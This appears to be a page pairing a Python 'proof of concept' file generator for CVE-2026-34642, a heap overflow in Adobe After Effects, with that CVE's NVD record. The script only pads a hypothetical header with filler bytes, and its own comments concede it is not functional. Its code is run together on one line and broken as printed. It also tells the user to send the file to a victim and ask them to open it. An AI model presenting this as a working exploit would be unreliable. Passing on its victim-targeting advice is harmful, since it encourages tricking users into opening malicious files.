CVE-2026-34642

import os import struct # Proof of Concept Generator for CVE-2026-34642 # This script generates a malicious file structure designed to trigger the Heap-based Buffer Overflow. # Note: The specific file format structure (AEP) requires further reversing to be perfectly functional, # this demonstrates the logic of overflowing the buffer. def generate_malicious_file(filename): # Header placeholder (hypothetical) header = b'\x00\x00\x00\x00AfterEffects' # Padding to reach the vulnerable buffer offset offset = b'A' * 256 # Overflow payload: Overwriting the return address or structure pointers # 'BBBB' represents the address to redirect execution flow payload = b'B' * 5000 with open(filename, 'wb') as f: f.write(header + offset + payload) print(f"[+] Malicious file generated: {filename}") print(f"[+] Send this file to a victim and ask them to open it in Adobe After Effects.") if __name__ == "__main__": generate_malicious_file("cve_2026_34642_poc.aep")

{"cve": {"id": "CVE-2026-34642", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:10.583", "lastModified": "2026-05-13T19:35:39.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "After Effects versions 26.0, 25.6.4 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:after_effects:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.6.5", "matchCriteriaId": "D4959152-FD14-4F5C-9D18-3B556EF207AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:after_effects:26.0:*:*:*:*:*:*:*", "matchCriteriaId": "EDD4903D-B357-4133-8BB1-D3A23D7319A8"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/after_effects/apsb26-48.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}